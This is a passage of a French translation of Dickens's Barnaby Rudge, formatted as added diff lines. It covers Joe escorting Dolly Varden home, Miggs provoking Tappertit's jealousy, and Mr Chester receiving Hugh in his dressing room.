+Joe, je vous en prie, n'allez pas à la recherche de ces objets. Je
+vous conjure de ne pas aller avec cet homme.
+
+-- De ne pas aller avec moi! cria Hugh. Ne semble-t-il pas que je
+sois un épouvantail pour eux tous? Ils ont tous peur de moi. Ah
+bien! par exemple, mistress, vous ne savez donc pas que j'ai le
+plus tendre coeur qu'il y ait au monde. J'aime toutes les dames,
+madame,» dit Hugh en se tournant vers la femme du serrurier.
+
+Mme Varden émit l'opinion que, s'il disait vrai, il devrait en
+mourir de honte; des sentiments pareils convenant mieux, selon
+elle, à un musulman plongé dans la nuit de l'erreur, ou à un
+sauvage des îles, qu'à un zélé protestant. D'après la conclusion
+qu'elle tira de l'état imparfait des principes moraux de Hugh,
+elle émit ensuite l'opinion qu'il n'avait sans doute jamais étudié
+le Manuel. Hugh admettant qu'il ne l'avait jamais lu, pour
+plusieurs raisons, dont la première était qu'il ne savait pas
+lire, Mme Varden déclara avec beaucoup de sévérité qu'il devrait
+encore bien plus mourir de honte; elle lui recommanda fortement
+d'économiser l'argent de ses menus plaisirs pour l'acquisition
+d'un exemplaire de ce livre, dont il ferait bien, après cela,
+d'apprendre le contenu par coeur en toute diligence.
+
+Elle était encore à développer ce texte, quand Hugh, d'une manière
+quelque peu incérémonieuse et irrévérente, suivit son jeune maître
+dehors, la laissant édifier sans fin le reste de la compagnie.
+C'est ce qu'elle continua de faire, et, trouvant que les yeux de
+M. Willet étaient fixés sur elle avec une apparence de profonde
+attention, elle lui adressa graduellement la totalité de son
+discours; elle lui fit une leçon morale et théologique d'une
+longueur considérable, dans la conviction qu'elle opérait sur lui
+les effets les plus merveilleux. Voici cependant la simple vérité:
+quoique ses yeux fussent tout grands ouverts et qu'il vît devant
+lui une femme dont la tête, à force de la regarder longtemps et
+fixement, lui avait semblé devenir si grosse petit à petit qu'elle
+eut bientôt rempli le comptoir, M. Willet était bel et bien
+endormi, et il demeura ainsi penché en arrière sur sa chaise, les
+mains dans ses poches, jusqu'à ce que le retour de son fils
+l'arracha au sommeil. On l'entendit soupirer profondément, car il
+lui restait une vague idée d'avoir rêvé de porc mariné aux
+légumes, vision de ses sommeils qu'il fallait imputer sans aucun
+doute à la circonstance d'avoir entendu Mme Varden prononcer
+fréquemment le mot «Grâce» avec l'accent oratoire. Or, ce mot,
+entrant dans le cerveau de M. Willet pendant que la porte en était
+entre-bâillée, et s'y accouplant avec les mots «après le repas»
+qui erraient tout autour, lui suggéra, par le souvenir des
+_grâces_, l'idée de ce mets particulier avec l'espèce de légumes
+qui l'accompagne d'ordinaire.
+
+Les recherches n'avaient eu aucun succès. Joe avait tâté le long
+du sentier une douzaine de fois dans l'herbe, dans le fossé à sec
+et dans la haie, mais tout cela en vain. Inconsolable de sa double
+perte, Dolly écrivit à Mlle Haredale un billet qui lui donnait là-
+dessus les mêmes renseignements qu'elle avait donnés déjà au
+Maypole, et Joe se chargea de remettre ce billet en mains propres,
+le lendemain, dès qu'il y aurait quelqu'un de levé dans la maison.
+Après cela, on s'assit pour prendre le thé dans le comptoir. Il y
+eut une prodigalité peu commune de rôties beurrées, et, afin que
+les voyageurs n'éprouvassent pas de faiblesse par défaut de
+nourriture, et en faisant pour ainsi dire une bonne petite halte à
+mi-chemin entre le dîner et le souper, on n'oublia pas quelques
+savoureuses bagatelles sous forme de larges grillades de lard bien
+soignées, cuites à point et toutes fumantes, qui exhalèrent un
+parfum délicieux et appétissant.
+
+Mme Varden, bonne protestante d'ailleurs, ne protestait jamais
+contre un bon repas, ou il fallait donc que les mets fussent trop
+peu cuits ou trop cuits, ou qu'il y eût n'importe quoi qui eût
+altéré son humeur. L'aspect de ces excellentes préparations
+augmentant beaucoup son entrain, elle qui venait de dire que les
+bonnes oeuvres n'étaient rien sans la foi, déclara de la manière
+la plus gaie que le jambon et la rôtie étaient quelque chose. Bien
+plus, sous l'influence de ces salutaires stimulants, elle reprocha
+vivement à sa fille d'être abattue et découragée (ce qu'elle
+considérait comme une disposition d'esprit condamnable), et elle
+remarqua, en tendant son assiette pour prendre encore un morceau,
+qu'au lieu de se désoler de la perte d'une babiole et d'une
+feuille de papier, elle ferait bien mieux de réfléchir aux
+privations des missionnaires dans les pays étrangers, où ces bons
+chrétiens poussent le dévouement jusqu'à ne vivre que de salade.
+
+Les accidents divers d'une semblable journée sont bien faits pour
+occasionner quelques fluctuations dans le thermomètre humain, et
+surtout lorsque cet instrument est d'une construction aussi
+délicate et d'une aussi grande sensibilité que celui de
+Mme Varden. Ainsi, au dîner, Mme Varden se tint à la chaleur
+d'été; elle fut sereine, souriante, délicieuse. Après le dîner, le
+vin lui avait donné un coup de soleil qui l'éleva au moins d'une
+demi-douzaine de degrés; on n'avait jamais vu pareille
+enchanteresse. Maintenant elle était redescendue à la chaleur
+d'été, à l'ombre; et lorsque le thé fut fini, et que le vieux
+John, tirant de son casier de chêne une bouteille d'un certain
+cordial, insista pour qu'elle en bût deux verres à petits traits
+et fort lentement, elle remonta et se tint fixe à quatre-vingt-dix
+pendant une heure un quart. Instruit par l'expérience, le
+serrurier profita de cette sereine température pour fumer sa pipe
+sous le porche, et, grâce à sa conduite prudente, il était
+pleinement en mesure, quand baissa le thermomètre, de partir
+aussitôt pour retourner au logis.
+
+En conséquence le cheval fut attelé, et la chaise amenée devant la
+porte. Joe, que rien n'aurait pu dissuader de leur servir
+d'escorte jusqu'à ce qu'ils eussent passé la partie la plus
+solitaire et la plus terrible de la route, fit sortir en même
+temps de l'écurie la jument grise; et, après avoir aidé Dolly à
+monter en voiture (encore du bonheur!), il sauta en selle
+gaiement. Puis, après qu'on eut dit plusieurs fois bonsoir aux
+voyageurs, qu'on leur eut recommandé de s'envelopper, qu'en
+dirigeant sur eux le rayon des lumières on leur eut tendu leurs
+manteaux et leurs châles, la carriole roula et Joe trotta auprès,
+du côté de Dolly, cela va sans dire, et presque tout contre la
+roue.
+
+
+
+
+CHAPITRE XXII.
+
+
+C'était une belle et brillante nuit. Malgré son abattement, Dolly
+regardait les étoiles avec une attitude et d'une manière si propre
+à ensorceler (elle le savait bien), que Joe en avait perdu la
+tête, et que, si jamais un homme s'enfonça, c'est trop peu dire
+jusqu'aux oreilles et par-dessus la tête, mais plutôt par-dessus
+le Monument et le dôme de Saint-Paul, dans le fin fond de l'amour,
+cet homme-là, c'était lui, la chose était claire comme le jour. La
+route était fort bonne: ce n'était pas une route à cahots, ni même
+une route inégale; et cependant Dolly, de sa petite main, voulut
+se retenir à la chaise durant tout le trajet. Quand il y aurait eu
+là derrière lui un exécuteur avec sa hache levée en l'air et prêt
+à le décoller s'il touchait cette main, Joe n'aurait pas pu
+s'empêcher de le faire. Après avoir mis sa propre main sur celle
+de Dolly comme par hasard, et l'avoir retirée au bout d'une
+minute, il en vint à chevaucher tout le long de la route, sans
+retirer sa main du tout. On eût dit que l'escorte avait cette
+consigne, comme partie importante de son service, et qu'elle
+n'avait pas quitté le Maypole pour autre chose. Le plus curieux
+incident de ce petit épisode, c'est que Dolly avait l'air de ne
+pas s'en apercevoir. Elle semblait si pleine d'innocence, si
+sainte nitouche quand elle tournait ses yeux sur lui, que c'en
+était agaçant.
+
+Elle parla néanmoins; elle parla de sa frayeur et de l'arrivée de
+Joe à son secours, et de sa reconnaissance, et de sa crainte de ne
+pas l'avoir assez remercié, et de l'espérance que désormais ils
+vivraient comme une bonne paire d'amis et de mille choses de ce
+genre. Et quand Joe exprima l'espoir, au contraire, qu'ils ne
+vivraient pas comme une bonne paire d'amis, Dolly parut
+extrêmement surprise, et elle exprima l'espoir qu'ils ne seraient
+toujours pas des ennemis; et, quand Joe lui demanda s'ils ne
+pourraient pas être quelque chose de mieux qu'amis ou ennemis,
+tout à coup Dolly de découvrir une étoile plus étincelante que
+toutes les autres étoiles, et d'y appeler l'attention du jeune
+homme, et d'être mille fois plus pleine d'innocence et plus sainte
+nitouche que jamais.
+
+Ils poursuivaient de cette façon leur voyage, chuchotant plutôt
+qu'ils ne parlaient, et souhaitant que la route s'allongeât à peu
+près de douze fois sa longueur naturelle; c'était, du moins, le
+souhait de Joe, lorsque, au moment de sortir de la forêt et de
+déboucher dans la partie la plus fréquentée de la route, ils
+entendirent le bruit des pas d'un cheval allant au grand trot. Ce
+bruit, devenu vite plus distinct, à mesure qu'il approchait,
+arracha à Mme Varden un cri perçant, auquel répondit cette
+exclamation: «Ami!» poussée par le cavalier qui arriva aussitôt
+tout haletant, et arrêta son cheval auprès d'eux.
+
+«Encore cet homme! cria Dolly en frissonnant.
+
+-- Hugh, dit Joe, quelle commission vous a-t-on donnée?
+
+-- Celle de revenir avec vous, répondit-il en lançant à la fille
+du serrurier un secret coup d'oeil. C'est lui qui m'envoie.
+
+-- Mon père?» dit le pauvre Joe. Et il ajouta à voix basse cette
+apostrophe très peu filiale: «Il ne me croira donc jamais assez
+grand pour me protéger moi-même?
+
+-- Oui, votre père, répliqua Hugh à la première partie de la
+question. Il dit que depuis quelque temps les routes ne sont pas
+sûres, et qu'il vaut mieux que vous n'y soyez pas seul.
+
+-- En ce cas, allez toujours, dit Joe, je ne reviens pas encore.»
+
+Hugh obéit, et on continua le voyage. Par caprice ou par goût, il
+chevaucha immédiatement devant la chaise, et de cette position il
+tournait sans cesse la tête pour regarder en arrière. Dolly sentit
+qu'il la regardait; mais elle détourna ses yeux et craignit de les
+lever une seule fois, tant était grande la terreur qu'il lui
+inspirait.
+
+Cette interruption, en éveillant Mme Varden, qui avait dormi
+jusque-là la tête inclinée, sauf pendant une minute ou deux de
+temps en temps, lorsqu'elle reprenait ses sens pour gronder le
+serrurier, qui se permettait de la retenir et l'empêcher de choir
+de la voiture en inclinant ainsi la tête, vint mettre des entraves
+à la conversation, qui se chuchotait tout bas, et la rendit fort
+difficile à reprendre. Effectivement, avant qu'on eût fait un
+autre mille, Gabriel arrêta, selon le désir de sa femme, et cette
+bonne dame déclara positivement que Joe ne ferait point un pas de
+plus sous aucun prétexte, et qu'elle n'en voulait point entendre
+parler. Ce fut en vain que, de son côté, Joe protesta qu'il
+n'était nullement fatigué, qu'il tournerait bride tout à l'heure,
+qu'il voulait seulement les voir sains et saufs au delà de tel ou
+tel endroit, et ainsi de suite. Mme Varden s'obstina, et, quand
+elle s'obstinait, il n'y avait pas de pouvoir terrestre capable
+d'en venir à bout.
+
+«Bonsoir, puisqu'il faut vous le dire, dit Joe avec un peu de
+tristesse.
+
+-- Bonsoir,» dit Dolly. Elle aurait bien ajouté: «Gardez-vous de
+cet homme, ne vous y fiez pas, je vous en prie;» mais Hugh avait
+retourné son cheval et il se trouvait tout près d'eux. Elle ne put
+donc faire autre chose que de souffrir que Joe lui serrât les
+doigts, et, quand la voiture fut à quelque distance, de regarder
+en arrière et d'agiter sa main, tandis qu'il était encore arrêté
+sur le lieu de leur séparation, avec cette grande et sombre figure
+de Hugh auprès de lui.
+
+À quoi pensa-t-elle en revenant au logis? Le carrossier eut-il
+dans ses méditations une place aussi favorisée que celle qu'il
+avait occupée le matin? C'est ce qu'on ignore. Ils arrivèrent
+enfin à la maison; enfin, car la route était longue, et les
+gronderies de Mme Varden ne la raccourcissaient pas du tout.
+Miggs, entendant le bruit des roues, fut aussitôt à la porte.
+
+«Les voilà, Simmun! les voilà! cria Miggs en claquant des mains et
+sortant pour aider sa maîtresse à descendre. Apportez une chaise,
+Simmun. Eh bien! vous ne vous en êtes pas trouvée plus mal, n'est-
+ce pas, mame? Je suis sûre que vous vous sentez mieux dans votre
+assiette que si vous étiez restée à la maison. Oh! miséricorde,
+que vous avez froid! Bonté divine, monsieur, mais c'est un vrai
+glaçon.
+
+-- Je n'y peux rien, ma bonne fille. Vous feriez mieux de
+l'emmener se chauffer, dit le serrurier.
+
+-- Monsieur en parle bien à son aise, mame, dit Miggs d'un ton
+compatissant; mais, au fond, je suis sûre qu'il n'est pas si
+insensible qu'il le paraît. Après ce qu'il a vu de vous
+aujourd'hui, je croirai toujours qu'il a des sentiments plus
+affectueux dans le coeur que sur les lèvres. Entrez, venez vous
+asseoir auprès du feu: je vous en ai fait un qui est si bon!
+Venez.»
+
+Mme Varden agréa le conseil et entra. Le serrurier la suivit les
+mains dans ses poches, et M. Tappertit fit rouler la carriole vers
+une remise voisine.
+
+«Ma chère Marthe, dit le serrurier lorsqu'on fut arrivé à la salle
+à manger, si vous vous occupiez vous-même de Dolly, ou si vous
+laissiez les autres s'en occuper, peut-être ce tendre soin serait-
+il plus raisonnable. Elle a eu peur, voyez-vous, et elle n'est pas
+du tout bien ce soir.»
+
+En effet, Dolly s'était jetée sur le sofa, sans faire attention à
+toutes les belles petites choses qui, le matin, lui avaient donné
+tant d'orgueil; et, la figure ensevelie dans ses mains, elle
+pleurait beaucoup, mais beaucoup.
+
+À la première vue de ce phénomène (car les manifestations de ce
+genre n'étaient nullement une habitude chez Dolly, qui apprenait
+plutôt, par l'exemple de sa mère, à les éviter le plus possible),
+Mme Varden exprima sa conviction qu'il n'y avait jamais eu de
+femme aussi tourmentée qu'elle; que sa vie était une scène
+continuelle d'épreuves; que, quand elle était disposée par hasard
+à se sentir un peu plus gaie, aussitôt son entourage venait, d'une
+manière ou d'autre, faire l'office de rabat-joie, et que, comme
+elle s'était donné un peu de bon temps ce jour-là, et le ciel
+savait si elle s'en donnait souvent, elle allait maintenant en
+payer la folle enchère: toutes jérémiades que Miggs accueillit par
+un assentiment complet. La pauvre Dolly, néanmoins, ne se trouvait
+pas mieux d'être réconfortée de la sorte; sa situation empirait,
+au contraire. Voyant donc qu'elle était réellement malade,
+Mme Varden et Miggs furent toutes deux prises de compassion et se
+mirent à la soigner sérieusement.
+
+Mais, alors même, leur bonté prit la forme habituelle de leur
+caractère; et, quoique Dolly fût évanouie, il devint évident pour
+l'intelligence la plus bornée que c'était Mme Varden qui
+souffrait. De même, quand Dolly commença à se trouver mieux, et
+passa à cette période où les matrones tiennent qu'on peut
+appliquer avec succès les remontrances et les raisonnements, sa
+mère lui représenta, les larmes aux yeux, que si elle avait eu de
+l'émoi et du chagrin ce jour-là, elle devait se rappeler que
+c'était le lot commun de l'humanité, et spécialement celui des
+femmes, qui, pendant tout le cours de leur existence, ne devaient
+pas s'attendre à autre chose, et qui n'avaient rien de mieux à
+faire que de supporter leurs peines avec douceur et résignation.
+Mme Varden la supplia de se rappeler encore que l'un de ces jours
+elle aurait, selon toute probabilité, à faire violence à ses
+sentiments, au point de se marier; et que le mariage, comme elle
+pouvait le voir chaque jour de sa vie (et elle ne le voyait que
+trop), était un état qui exigeait un grand courage et une grande
+patience. Elle lui exposa avec de vives couleurs que si elle
+(Mme Varden), en se dirigeant à travers cette vallée de larmes, ne
+se fût pas appuyée sur de forts principes de devoir, qui seuls la
+tenaient sur ses pieds et l'empêchaient de tomber d'épuisement,
+elle serait dans sa fosse depuis bien des années et, alors, que
+serait devenue, je vous le demande, cette âme en peine (elle
+entendait par là le serrurier), qui ne pouvait voir que par ses
+yeux, qui avait tant besoin d'elle, son étoile et son fanal, pour
+guider ses pas dans les ténèbres de la vie?
+
+Mlle Miggs plaça aussi son mot à même fin. En vérité, en vérité je
+vous le dis, Mlle Dolly pouvait prendre exemple sur sa digne mère,
+car elle l'avait toujours dit et le dirait toujours, dût-elle la
+minute d'ensuite être pendue ou écartelée, c'était bien la femme
+la plus douce, la plus aimable, la plus clémente, la plus capable
+de souffrir longtemps qu'on pût jamais imaginer. Elle ajouta que
+le simple récit de ses perfections avait opéré un changement
+salutaire dans l'âme de sa propre belle-soeur; qu'elle et son
+mari, qui vivaient avant comme chien et chat, et avaient
+l'habitude de se lancer à la tête chandeliers de cuivre,
+couvercles de marmite, fers à repasser, et toutes les marques les
+plus pesantes de leur ressentiment, étaient maintenant le couple
+le plus heureux et le plus tendre qu'il y eût au monde, ainsi
+qu'on pouvait le voir chaque jour en s'adressant Cour du Lion
+d'or, numéro 27, seconde sonnette au montant à droite. Puis
+faisant un retour rapide sur elle-même, comme sur un vase[22]
+indigne de comparaison, mais qui avait bien aussi son petit
+mérite, elle la supplia de se bien mettre dans l'idée que sa
+susdite mère unique et chérie, d'une faible constitution et d'une
+nature excitable, avait eu constamment à supporter, dans la vie
+domestique, des afflictions auprès desquelles larrons et voleurs
+n'étaient rien, et que cependant jamais elle n'avait cédé ni à
+l'affaissement, ni au désespoir, ni à la colère furieuse; mais
+que, comme on dit à la boxe, elle avait toujours pris le dessus
+avec une physionomie joyeuse, et gagné le prix, comme si de rien
+n'était. Quand Miggs eut fini son solo, sa maîtresse reprit sa
+partie, et toutes deux ensemble, se donnant le la, exécutèrent un
+duo dont voici le refrain: «Mme Varden était la vertu accomplie,
+mais persécutée; et M. Varden, représentant du sexe masculin dans
+cet appartement, était une créature d'habitudes vicieuses et
+brutales, un mari tout à fait insensible aux bénédictions
+conjugales dont il jouissait.» Enfin, sous le masque de la
+sympathie, elles déployèrent contre lui une tactique si habile et
+si raffinée, que quand Dolly, remise de sa défaillance, embrassa
+son père avec tendresse, comme pour rendre témoignage à sa bonté,
+Mme Varden exprima le solennel espoir que cela lui servirait de
+leçon pour le reste de sa vie, et qu'il rendrait toujours
+dorénavant un peu plus de justice au mérite des femmes, désir que
+Mlle Miggs, par des reniflements et des quintes de toux
+alternatifs plus éloquents que le plus long discours, témoigna
+partager entièrement.
+
+Mais la grande joie du coeur de Miggs fut que non seulement elle
+recueillit tous les détails de ce qui était arrivé, mais qu'elle
+eut le suprême délice de les communiquer à M. Tappertit, pour
+mettre sa jalousie à la torture: car ce gentleman, vu
+l'indisposition de Dolly, avait été prié de souper dans la
+boutique, et son repas lui avait été apporté là par les belles
+mains de Mlle Miggs en personne.
+
+«Oh, Simmun! dit la jeune demoiselle; les étranges choses qui se
+sont passées aujourd'hui! Oh! miséricorde, Simmun!»
+
+M. Tappertit, qui n'était pas de très bonne humeur, et à qui
+Mlle Miggs déplaisait, surtout quand elle plaçait sa main sur son
+coeur tout haletant, parce que son manque de contour n'était
+jamais plus apparent, lui lança une oeillade du style le plus
+superbe, et ne daigna pas montrer la moindre curiosité.
+
+«Je n'ai jamais vu pareille chose, ni qui que ce soit non plus,
+poursuivit Miggs. S'occuper d'elle! en voilà une idée! Faire
+attention à elle, comme si ce n'était pas perdre son temps! Quelle
+plaisanterie! Hé, hé, hé!»
+
+Voyant qu'il s'agissait d'une dame, M. Tappertit invita d'une
+façon hautaine la belle amie à être plus explicite, et à lui
+apprendre ce qu'elle entendait par elle.
+
+«Eh mais, cette Dolly, dit Miggs en donnant à ce nom un accent
+oratoire des plus aigus; mais, ma parole d'honneur, Joseph Willet
+est un brave jeune homme, et il la mérite; ça, c'est positif.
+
+-- Femme! dit M. Tappertit en sautant à bas du comptoir où il
+était assis, prenez garde!
+
+-- Ciel, Simmun! cria Miggs, avec un étonnement affecté; vous
+m'effrayez à mourir. Qu'est-ce qu'il y a?
+
+-- Il est des cordes dans le coeur humain, dit M. Tappertit en
+brandissant en l'air le couteau qui lui servait à couper son pain
+et son fromage, qu'il vaut mieux ne pas faire vibrer. Voilà ce
+qu'il y a.
+
+-- Oh! très bien, si vous êtes en colère, dit Miggs, lui tournant
+le dos comme pour s'en aller.
+
+-- En colère ou pas en colère, dit M. Tappertit, la retenant par
+le poignet, qu'entendez-vous par là, Jézabel? Qu'alliez-vous me
+dire? répondez-moi.»
+
+Nonobstant cette incivile exhortation, Miggs fit volontiers ce
+dont elle était requise, et lui raconta comme quoi leur jeune
+maîtresse, étant seule dans les prairies passé la brune, avait été
+attaquée par trois ou quatre hommes de grande taille, qui
+l'auraient enlevée et peut-être assassinée, si Joseph Willet
+n'était survenu à temps, ne les avait mis, de sa seule main, tous
+en fuite, et ne l'avait délivrée, ce qui le rendait l'objet de la
+durable admiration de ses semblables en général, et de l'éternel
+amour de la reconnaissante Dolly Varden.
+
+«Très bien, dit M. Tappertit en respirant fortement, lorsque
+l'histoire eut été achevée, et rebroussant ses cheveux jusqu'à ce
+qu'ils se tinssent roides et droits sur le haut de sa tête; ses
+jours sont comptés.
+
+-- Oh! Simmun!
+
+-- Je vous le répète, dit l'apprenti, ses jours sont comptés.
+Laissez-moi; allez-vous-en.»
+
+Miggs partit sur son ordre, mais peut-être moins par docilité que
+par envie d'aller glousser de rire toute seule à son aise.
+Lorsqu'elle eut donné carrière à sa gaieté, elle retourna dans la
+salle à manger, où le serrurier, stimulé par le bonheur de se
+sentir enfin tranquille et par Toby, était devenu causeur, et
+semblait disposé à passer gaiement en revue les incidents de sa
+journée. Mais Mme Varden, dont la religion pratique (chose assez
+commune) était volontiers de l'ordre rétrospectif, coupa court à
+ses causeries en déclamant contre les péchés qu'entraînent «des
+régalades comme celle d'aujourd'hui,» et en soutenant qu'il était
+grandement l'heure d'aller au lit. Elle alla donc au lit avec une
+physionomie aussi farouche et aussi lugubre que celle du lit
+d'apparat du Maypole; et le reste de l'établissement alla
+également au lit bientôt après la maîtresse.
+
+
+
+
+CHAPITRE XXIII.
+
+
+Le crépuscule avait fait place à la nuit depuis quelques heures,
+et il était plus que l'après-midi dans ces quartiers de la ville
+que le monde consent à habiter, car le monde était alors, comme
+maintenant, retiré dans des dimensions très restreintes et logé à
+son aise dans un espace circonscrit, quand M. Chester s'étendit
+sur un sofa, dans son cabinet de toilette au Temple, s'amusant à
+la lecture de quelque livre.
+
+Il s'habillait par intermittences, pour se donner moins de mal à
+la fois, et, comme il avait déjà fait la moitié de la besogne, il
+était à prendre un long repos. Complètement vêtu, quant à ses
+pieds et à ses jambes, dans la plus correcte mode du jour, il
+avait encore le reste de sa toilette à faire. L'habit était étendu
+comme un élégant épouvantail, sur son chevalet spécial; le gilet
+était déployé de la façon la plus avantageuse; les divers articles
+de parure étaient séparément étalés dans l'ordre le plus
+attrayant; et néanmoins il restait assis là, ses jambes pendillant
+entre le sofa et le parquet, les yeux fixés sur son livre avec
+autant d'attention que si toutes ces belles choses ne lui
+donnaient seulement pas la tentation de se lever.
+
+«Sur mon honneur, dit-il en levant enfin ses yeux au plafond, de
+l'air d'un homme qui réfléchit sérieusement à ce qu'il vient de
+lire; sur mon honneur, voilà bien la plus capitale composition,
+les pensées les plus délicates, le code de morale le plus
+distingué, les plus gentlemanesques sentiments qu'il y ait au
+monde. Ah! Ned, Ned, si vous vouliez seulement former votre esprit
+par de tels préceptes, nous ne pourrions que nous entendre à
+merveille sur toutes les questions qui viendraient à s'agiter
+entre nous!»
+
+Cette apostrophe fut adressée, comme le reste de la remarque, au
+vide de l'air, car Édouard n'était pas présent, son père était
+tout seul.
+
+«Milord Chesterfield, dit-il en appuyant doucement sa main sur le
+livre, lorsqu'il le déposa, si j'avais seulement pu profiter de
+votre génie assez tôt pour former mon fils sur le modèle que vous
+avez laissé à tous les pères sages, nous serions riches à présent
+l'un et l'autre. Shakespeare était incontestablement très
+distingué dans son genre; Milton a du bon, quoique prosaïque; lord
+Bacon est profond, un vrai connaisseur: mais l'écrivain qui doit
+être à jamais l'orgueil de son pays, c'est milord Chesterfield.»
+
+Il redevint pensif, et le cure-dent fut mis en réquisition.
+
+«Je me croyais vraiment un homme du monde passablement accompli,
+poursuivit-il; je me flattais d'être suffisamment versé dans tous
+ces petits arts et ces grâces qui distinguent les hommes du monde
+des rustres et des paysans, et séparent leur caractère de ces
+sentiments horriblement vulgaires qu'on appelle le caractère
+national. En dehors de toute prévention naturelle en ma faveur, je
+croyais pouvoir me rendre cette justice. Et pourtant, dans chaque
+page de cet écrivain éclairé, je trouve quelque séduisante
+hypocrisie que je n'avais jamais rencontrée auparavant, quelque
+principe supérieur d'égoïsme auquel j'étais absolument étranger.
+Je rougirais tout à fait de moi-même devant cette prodigieuse
+créature, si ses principes mêmes ne nous apprenaient à ne rougir
+de n'importe quoi. Quel homme étonnant! Quel véritable grand
+seigneur! Un roi ou une reine peut faire un lord, mais le diable
+seul et les Grâces peuvent faire un Chesterfield.»
+
+Les hommes qui sont pétris de fausseté et de perfidie essayent
+rarement de se dissimuler ces vices; et toutefois, en se les
+avouant à eux-mêmes, ils prétendent aux vertus qu'ils feignent le
+plus de mépriser. «Car, disent-ils, il y a de l'honnêteté à
+confesser la vérité. Tous les hommes sont comme nous; seulement
+ils n'ont pas la candeur d'en convenir.» Plus de tels hypocrites
+affectent de nier que la sincérité existe sur la terre, plus ils
+voudraient qu'on crût qu'ils la possèdent sous sa forme la plus
+hardie; et c'est ainsi qu'à leur insu ces philosophes rendent à la
+vérité un hommage qui mettra contre eux les rieurs au jour du
+jugement.
+
+M. Chester, après avoir exalté son auteur favori par cet élan
+d'enthousiasme, reprit son livre dans l'excès de son admiration;
+et il se disposait à continuer la lecture de cette sublime morale,
+quand il fut troublé par un bruit étrange à la porte extérieure.
+Il lui semblait que son domestique barrait le passage à quelque
+visiteur désagréable.
+
+«Il est tard pour un créancier impatient, dit-il en levant ses
+sourcils avec une expression d'étonnement aussi indolente que si
+le bruit eût été dans la rue, et ne l'eût pas concerné lui-même le
+moins du monde. Il est beaucoup plus tard que ces gens-là n'ont
+coutume de venir. Le prétexte ordinaire, je suppose. Sans doute un
+fort payement à faire demain. Pauvre garçon, il perd son temps, et
+le temps est de l'argent, comme dit le bon proverbe, quoique pour
+moi je n'aie jamais vu cela. Eh bien! qu'y a-t-il? vous savez que
+je n'y suis pas.
+
+-- Un homme, monsieur, répliqua le domestique, qui était dans son
+genre d'une tout aussi grande froideur et d'une tout aussi grande
+indolence que son maître, a rapporté chez vous la cravache que
+vous avez perdue l'autre jour. Je lui ai dit que vous étiez
+absent, mais il a déclaré qu'il attendrait que je vous eusse
+apporté cette cravache, et ne s'en irait pas avant.
+
+-- Il avait complètement raison, répondit son maître, et vous êtes
+un imbécile, sans aucune espèce de jugement ni de discernement.
+Dites-lui d'entrer, et veillez à ce qu'il essuie ses souliers
+pendant cinq minutes précises avant d'entrer.»
+
+Le domestique posa la cravache sur une chaise et se retira. Le
+maître, qui avait seulement entendu ses pas sur le parquet, sans
+prendre la peine de se retourner pour le voir, ferma son livre, et
+poursuivit le cours de ses idées interrompues par l'entrée du
+valet.
+
+«Si le temps était de l'argent, dit-il en maniant sa tabatière, je
+transigerais avec mes créanciers, et je leur donnerais... voyons
+donc... combien chaque jour? Il y a mon somme après dîner, une
+heure. Je peux leur sacrifier cela bien volontiers, pour qu'ils en
+tirent le meilleur parti possible. Le matin, entre mon déjeuner et
+le journal, je leur réserverais une autre heure; et le soir avant
+dîner, mettons encore une heure. Trois heures chaque jour. Ils se
+payeraient eux-mêmes en visites, avec les intérêts, dans l'espace
+de douze mois. J'ai envie de leur en faire la proposition quelque
+jour... Ah! mon centaure, c'est vous qui êtes là?
+
+-- C'est moi, répondit Hugh en entrant à grandes enjambées, suivi
+d'un chien aussi rude et aussi farouche que lui; j'ai eu assez de
+mal à arriver jusqu'ici. Pourquoi donc me demandez-vous de venir,
+et me laissez-vous dehors quand je viens?
+
+-- Mon bon garçon, répliqua l'autre en levant un peu sa tête de
+dessus le coussin, et l'examinant avec insouciance de la tête aux
+pieds, je suis enchanté de vous voir, et d'acquérir, par votre
+présence ici, la preuve la plus convaincante qu'on ne vous laisse
+pas dehors, quoi que vous en disiez. Comment allez-vous?
+
+-- Je vais assez bien, dit Hugh impatienté.
+
+-- Vous avez l'air de jouir d'une merveilleuse santé. Asseyez-
+vous.
+
+-- Je préfère rester debout, dit Hugh.
+
+-- À votre aise, mon bon garçon, répondit M. Chester, se levant,
+ôtant lentement l'ample robe de chambre qu'il portait, et
+s'asseyant devant sa toilette. Faites comme vous voudrez.»
+
+Cela dit du ton le plus poli, le plus aimable, M. Chester commença
+de s'habiller, sans plus s'occuper de son hôte. Celui-ci restait
+debout à la même place, incertain de ce qu'il devait faire
+maintenant, et regardant de temps en temps d'un air boudeur.
+
+«Allez-vous me parler, maître? dit-il après un long silence.
+
+-- Ma digne créature, répliqua M. Chester, vous êtes un peu ému,
+et vous ne paraissez pas de bonne humeur. J'attendrai que vous
+soyez tout à fait dans votre assiette; je ne suis pas pressé.»
+
+Cette conduite produisit immédiatement son effet. Elle humilia
+l'homme, elle le couvrit de confusion, et le rendit plus irrésolu
+encore et plus incertain. De dures paroles, il y eût riposté; la
+violence, il l'eût remboursée avec les intérêts: mais cet accueil
+froid, affable, dédaigneux, d'un personnage maître de lui-même,
+lui fit sentir son infériorité d'une manière beaucoup plus
+complète que ne l'eussent fait les raisonnements les mieux
+élaborés. Tout contribuait donc à le déconcerter. Son rude
+langage, si mal assorti avec les accents doucement persuasifs de
+l'autre; son geste inculte et les façons polies de M. Chester; le
+désordre et la négligence de ses vêtements déguenillés et
+l'élégant costume qu'il voyait devant lui; l'aspect de la chambre
+remplie d'un voluptueux confort auquel il n'était pas accoutumé;
+le silence qui lui donna le loisir d'observer ces choses, et de
+sentir comme elles le mettaient mal à son aise: toutes ces
+influences qui n'opèrent que trop souvent sur des esprits
+cultivés, mais qui deviennent d'une puissance presque irrésistible
+quand elles pèsent sur un esprit grossier comme le sien,
+domptèrent Hugh en un moment. Il s'avança peu à peu plus près de
+la chaise de M. Chester, et, regardant par-dessus l'épaule la
+figure du gentleman son interlocuteur, reflétée par le miroir,
+comme s'il cherchait dans son expression quelque encouragement, il
+dit enfin avec un rude effort de conciliation:
+
+«Voulez-vous me parler, maître, ou faut-il que je m'en aille?
+
+-- Parlez, vous, dit M. Chester; c'est à vous à parler, mon bon
+garçon. J'ai parlé, moi, n'est-ce pas? J'attends maintenant que
+vous parliez à votre tour.
+
+-- Mais voyons, monsieur, répliqua Hugh avec un embarras qui ne
+faisait que croître, ne suis-je pas l'homme auquel vous avez
+laissé en particulier votre cravache avant de quitter à cheval le
+Maypole, en lui disant de vous la rapporter lorsqu'il désirerait
+vous parler sur un certain sujet?
+
+-- Certainement si, vous êtes bien cet homme, ou il faut que vous
+ayez un frère jumeau, dit M. Chester en regardant l'inquiète
